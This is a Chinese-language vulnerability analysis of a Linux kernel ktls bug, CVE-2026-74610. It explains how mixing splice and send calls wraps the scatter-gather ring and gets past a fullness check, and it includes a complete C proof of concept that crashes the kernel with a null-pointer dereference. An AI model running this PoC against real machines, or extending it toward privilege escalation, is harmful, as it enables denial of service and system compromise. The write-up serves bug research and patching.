漏洞编号:CVE-2026-74610
漏洞产品:Linux内核ktls子系统
利用效果:本地提权

poc效果:触发Kernel Oops空指针解引用(复现环境可参考之前写的文章包括内核镜像这里不再赘述[空指针解引用无需kasan也会触发])

​

漏洞原理

漏洞主要源于ktls的TX路径对sg散射链表的检测不严谨,普通发送路径将数据存入sg之后未使用sk_msg_full检测sg散射链表槽位是否耗尽

static int tls_sw_sendmsg_locked(struct sock *sk, struct msghdr *msg, size_t size)
{
	......
	struct sk_msg *msg_pl, *msg_en;
	struct tls_rec *rec;
	bool full_record;
	......

	while (msg_data_left(msg)) {
		......
		if (ctx->open_rec)
			rec = ctx->open_rec;
		else
			rec = ctx->open_rec = tls_get_rec(sk);

		msg_pl = &rec->msg_plaintext;
		msg_en = &rec->msg_encrypted;

		orig_size = msg_pl->sg.size;
		full_record = false;

		......

alloc_encrypted:
		ret = tls_alloc_encrypted_msg(sk, required_size);

		......

		if (try_to_copy && (msg->msg_flags & MSG_SPLICE_PAGES)) {
			ret = tls_sw_sendmsg_splice(sk, msg, msg_pl, try_to_copy, &copied);
			......
			if (sk_msg_full(msg_pl)) {
				full_record = true;
				......
			}
			if (full_record || eor)
				goto copied;
			continue;
		}

		......

		if (try_to_copy) {
			ret = sk_msg_memcopy_from_iter(sk, &msg->msg_iter,
						       msg_pl, try_to_copy);
			if (ret < 0)
				goto trim_sgl;
		}

		tls_ctx->pending_open_record_frags = true;
		copied += try_to_copy;

copied:
		if (full_record || eor) {
			ret = bpf_exec_tx_verdict(msg_pl, sk, full_record, ...);
			......
		}

		continue;
		......
	}
	......
}

后续splice触发的tls_sw_sendmsg_splice调用sk_msg_page_add出现溢出导致回绕,绕过了sk_msg_full的检测

static int tls_sw_sendmsg_splice(struct sock *sk, struct msghdr *msg,
				 struct sk_msg *msg_pl, size_t try_to_copy,
				 ssize_t *copied)
{
	struct page *page = NULL, **pages = &page;

	do {
		ssize_t part;
		size_t off;

		part = iov_iter_extract_pages(&msg->msg_iter, &pages,
					      try_to_copy, 1, 0, &off);
		if (part <= 0)
			return part ?: -EIO;

		if (WARN_ON_ONCE(!sendpage_ok(page))) {
			iov_iter_revert(&msg->msg_iter, part);
			return -EIO;
		}

		sk_msg_page_add(msg_pl, page, part, off);
		msg_pl->sg.copybreak = 0;
		msg_pl->sg.curr = msg_pl->sg.end;
		sk_mem_charge(sk, part);
		*copied += part;
		try_to_copy -= part;
	} while (try_to_copy && !sk_msg_full(msg_pl));

	return 0;
}

使得一个满载的sg散射链表被当成只有一个槽位,后续被错误标记为end,寻址时返回NULL导致的空指针解引用

​

漏洞分析

想要搞懂这个漏洞最主要的是了解sg散射链表的相关原理,首先是怎么占据sg散射链表槽位,当我们使用send发送数据时,就算是分批次发送,形如:

    for(int i = 0; i < 0x10; i++){
        send(cfd, buf, 1, MSG_MORE);
    }

最终也只会占据一个槽位而不是填充满(该漏洞触发的核心在于填充满sg散射链表槽位然后溢出)

那么想要填充满sg散射链表的槽位则需要走这条代码路径(也就是要用splice)

static int tls_sw_sendmsg_splice(struct sock *sk, struct msghdr *msg,
				 struct sk_msg *msg_pl, size_t try_to_copy,
				 ssize_t *copied)
{
	struct page *page = NULL, **pages = &page;

	do {
		......
		sk_msg_page_add(msg_pl, page, part, off);
		......
	} while (try_to_copy && !sk_msg_full(msg_pl));

	return 0;
}

对应的用户态程序则是形如:

    int pipefd[2];
    pipe(pipefd);
    for(int i = 0; i < 0x10; i++){
        write(pipefd[1], ptr, 0x40);
        splice(pipefd[0], NULL, cfd, NULL, 0x40, SPLICE_F_MORE);
    }

此外,触发漏洞的另一关键则是,溢出后的回绕

static inline void sk_msg_page_add(struct sk_msg *msg, struct page *page,
				   u32 len, u32 offset)
{
	struct scatterlist *sge;

	get_page(page);
	sge = sk_msg_elem(msg, msg->sg.end);
	sg_set_page(sge, page, len, offset);
	sg_unmark_end(sge);

	__set_bit(msg->sg.end, msg->sg.copy);
	msg->sg.size += len;
	sk_msg_iter_next(msg, end);
}

#define sk_msg_iter_next(msg, which)			\
	sk_msg_iter_var_next(msg->sg.which)

#define sk_msg_iter_var_next(var)			\
	do {						\
		var++;					\
		if (var == NR_MSG_FRAG_IDS)		\
			var = 0;			\
	} while (0)

这段代码可能看起来有点怪异,但是形如这段代码:

do {
    msg->sg.end++;
    if (msg->sg.end == NR_MSG_FRAG_IDS)
        msg->sg.end = 0;
} while (0);

也就是自增end,如果end已经达到了峰值就重置为0(这可不算漏洞,是实现的正常功能,因为sg散射链表是一个环,不一定要完全从0开始使用,遍历范围取决于start和end这两个字段)

​

PoC构造

首先依旧是准备一个完全没问题的基础交互程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <linux/tls.h>

#ifndef SOL_TLS
#define SOL_TLS 282
#endif

int main() {
    int lfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = htons(12345),
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK)
    };

    int opt = 1;
    setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    bind(lfd, (struct sockaddr *)&addr, sizeof(addr));
    listen(lfd, 1);

    int cfd = socket(AF_INET, SOCK_STREAM, 0);
    connect(cfd, (struct sockaddr *)&addr, sizeof(addr));
    int sfd = accept(lfd, NULL, NULL);

    setsockopt(cfd, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));

    struct tls12_crypto_info_aes_gcm_128 crypto;
    memset(&crypto, 0, sizeof(crypto));
    crypto.info.version = TLS_1_2_VERSION;
    crypto.info.cipher_type = TLS_CIPHER_AES_GCM_128;

    memcpy(crypto.key, "1234567890123456", 16);
    memcpy(crypto.iv, "12345678", 8);
    memcpy(crypto.salt, "1234", 4);
    memcpy(crypto.rec_seq, "\x00\x00\x00\x00\x00\x00\x00\x00", 8);

    setsockopt(cfd, SOL_TLS, TLS_TX, &crypto, sizeof(crypto));

    char *msg = "hello ktls";
    send(cfd, msg, strlen(msg), 0);

    char buf[128];
    int n = recv(sfd, buf, sizeof(buf), 0);

    for (int i = 0; i < n; i++) {
        printf("%02x ", (unsigned char)buf[i]);
    }
    printf("\n");

    close(sfd);
    close(cfd);
    close(lfd);
    return 0;
}

然后在这基础上改,payload的序列应该是什么样的呢?首先使用splice填充sg散射链表的槽位这是肯定的,但是要讲究方式方法,因为在tls_sw_sendmsg_splice后面会调用sk_msg_full,如果直接调用splice填充满就会触发这条检测,也就无法触发漏洞

		if (try_to_copy && (msg->msg_flags & MSG_SPLICE_PAGES)) {
			ret = tls_sw_sendmsg_splice(sk, msg, msg_pl, try_to_copy, &copied);
			......
			if (sk_msg_full(msg_pl)) {
				full_record = true;
				......
			}
			if (full_record || eor)
				goto copied;
			continue;
		}

所以payload的序列应该如下:

  1. 首先使用splice填充sg散射链表槽位(数量为距离填满-1)
  2. 然后使用普通的send填充一个槽位(此时槽位刚好被占满,但是send路径没有调用sk_msg_full检测[漏洞所在])
  3. 接着再使用splice触发sk_msg_page_add的溢出回绕(此时再触发sk_msg_full检测时,由于回绕该检测成功被绕过)
  4. 最后使用普通的send触发加密操作,加密操作会读取散射链表的数据,但由于散射链表被漏洞损坏最终寻址出现空指针解引用

完整poc:

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <linux/tls.h>

#ifndef SOL_TLS
#define SOL_TLS 282
#endif

int main() {
    int lfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = htons(12345),
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK)
    };

    int opt = 1;
    setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    bind(lfd, (struct sockaddr *)&addr, sizeof(addr));
    listen(lfd, 1);

    int cfd = socket(AF_INET, SOCK_STREAM, 0);
    connect(cfd, (struct sockaddr *)&addr, sizeof(addr));
    int sfd = accept(lfd, NULL, NULL);

    setsockopt(cfd, SOL_TCP, TCP_ULP, "tls", sizeof("tls"));

    struct tls12_crypto_info_aes_gcm_128 crypto;
    memset(&crypto, 0, sizeof(crypto));
    crypto.info.version = TLS_1_2_VERSION;
    crypto.info.cipher_type = TLS_CIPHER_AES_GCM_128;

    memcpy(crypto.key, "1234567890123456", 16);
    memcpy(crypto.iv, "12345678", 8);
    memcpy(crypto.salt, "1234", 4);
    memcpy(crypto.rec_seq, "\x00\x00\x00\x00\x00\x00\x00\x00", 8);

    setsockopt(cfd, SOL_TLS, TLS_TX, &crypto, sizeof(crypto));

    char buf[128];
    memset(buf, 0, 128);
    for(int j = 0; j < 16; j++)
        buf[j] = 0x1 + j;
    char *ptr=malloc(0x40);
    memset(ptr,'A',0x40);
    int pipefd[2];
    pipe(pipefd);
    for(int i = 0; i < 0x10; i++){
        write(pipefd[1], ptr, 0x40);
        splice(pipefd[0], NULL, cfd, NULL, 0x40, SPLICE_F_MORE);
    }
    send(cfd, buf, 1, MSG_MORE);
    write(pipefd[1], ptr, 0x40);
    splice(pipefd[0], NULL, cfd, NULL, 0x40, SPLICE_F_MORE);
    send(cfd, buf, 1, 0);

    close(sfd);
    close(cfd);
    close(lfd);
    return 0;
}

一些调试结果:

在tls_sw_sendmsg_splice之后调用sk_msg_full检测,rax理应从1递增到0x11然后检测到填充满的,但是由于漏洞原因被溢出回绕到了0,由此绕过了检测

此时的msg_pl如下,可以看到sg散射链表槽位被填满了,却错误地被当成空包状态(范围取决于start和end这两个字段!!!)

后续再用send发送时,会覆盖掉第一个槽位,end被递增到1,同时在tls_push_record中会标记end

static int tls_push_record(struct sock *sk, int flags,
			   unsigned char record_type)
{
	struct tls_context *tls_ctx = tls_get_ctx(sk);
	struct tls_prot_info *prot = &tls_ctx->prot_info;
	struct tls_sw_context_tx *ctx = tls_sw_ctx_tx(tls_ctx);
	struct tls_rec *rec = ctx->open_rec, *tmp = NULL;
	u32 i, split_point, orig_end;
	struct sk_msg *msg_pl, *msg_en;
	struct aead_request *req;
	bool split;
	int rc;

	if (!rec)
		return 0;

	msg_pl = &rec->msg_plaintext;
	msg_en = &rec->msg_encrypted;

	split_point = msg_pl->apply_bytes;
	split = split_point && split_point < msg_pl->sg.size;
	if (unlikely((!split &&
		      msg_pl->sg.size +
		      prot->overhead_size > msg_en->sg.size) ||
		     (split &&
		      split_point +
		      prot->overhead_size > msg_en->sg.size))) {
		split = true;
		split_point = msg_en->sg.size;
	}
	if (split) {
		rc = tls_split_open_record(sk, rec, &tmp, msg_pl, msg_en,
					   split_point, prot->overhead_size,
					   &orig_end);
		if (rc < 0)
			return rc;
		/* This can happen if above tls_split_open_record allocates
		 * a single large encryption buffer instead of two smaller
		 * ones. In this case adjust pointers and continue without
		 * split.
		 */
		if (!msg_pl->sg.size) {
			tls_merge_open_record(sk, rec, tmp, orig_end);
			msg_pl = &rec->msg_plaintext;
			msg_en = &rec->msg_encrypted;
			split = false;
		}
		sk_msg_trim(sk, msg_en, msg_pl->sg.size +
			    prot->overhead_size);
	}

	rec->tx_flags = flags;
	req = &rec->aead_req;

	i = msg_pl->sg.end;
	sk_msg_iter_var_prev(i);

	rec->content_type = record_type;
	if (prot->version == TLS_1_3_VERSION) {
		/* Add content type to end of message.  No padding added */
		sg_set_buf(&rec->sg_content_type, &rec->content_type, 1);
		sg_mark_end(&rec->sg_content_type);
		sg_chain(msg_pl->sg.data, msg_pl->sg.end + 1,
			 &rec->sg_content_type);
	} else {
		sg_mark_end(sk_msg_elem(msg_pl, i));
	}

	if (msg_pl->sg.end < msg_pl->sg.start) {
		sg_chain(&msg_pl->sg.data[msg_pl->sg.start],
			 MAX_SKB_FRAGS - msg_pl->sg.start + 1,
			 msg_pl->sg.data);
	}

	i = msg_pl->sg.start;
	sg_chain(rec->sg_aead_in, 2, &msg_pl->sg.data[i]);

	i = msg_en->sg.end;
	sk_msg_iter_var_prev(i);
	sg_mark_end(sk_msg_elem(msg_en, i));

	i = msg_en->sg.start;
	sg_chain(rec->sg_aead_out, 2, &msg_en->sg.data[i]);

	tls_make_aad(rec->aad_space, msg_pl->sg.size + prot->tail_size,
		     tls_ctx->tx.rec_seq, record_type, prot);

	tls_fill_prepend(tls_ctx,
			 page_address(sg_page(&msg_en->sg.data[i])) +
			 msg_en->sg.data[i].offset,
			 msg_pl->sg.size + prot->tail_size,
			 record_type);

	tls_ctx->pending_open_record_frags = false;

	rc = tls_do_encryption(sk, tls_ctx, ctx, req,
			       msg_pl->sg.size + prot->tail_size, i);
	if (rc < 0) {
		if (rc != -EINPROGRESS) {
			tls_err_abort(sk, -EBADMSG);
			if (split) {
				tls_ctx->pending_open_record_frags = true;
				tls_merge_open_record(sk, rec, tmp, orig_end);
			}
		}
		ctx->async_capable = 1;
		return rc;
	} else if (split) {
		msg_pl = &tmp->msg_plaintext;
		msg_en = &tmp->msg_encrypted;
		sk_msg_trim(sk, msg_en, msg_pl->sg.size + prot->overhead_size);
		tls_ctx->pending_open_record_frags = true;
		ctx->open_rec = tmp;
	}

	return tls_tx_records(sk, flags);
}

此刻,艺术已成,读取目标长度是0x442,第一个sg长度只有0x1,那么内核就会调用sg_next继续往下遍历,但是page_link被标记为end,就会触发sg_is_last的检测,该函数会返回NULL,最终boom💣空指针解引用

struct scatterlist *sg_next(struct scatterlist *sg)
{
	if (sg_is_last(sg))
		return NULL;

	sg++;
	if (unlikely(sg_is_chain(sg)))
		sg = sg_chain_ptr(sg);

	return sg;
}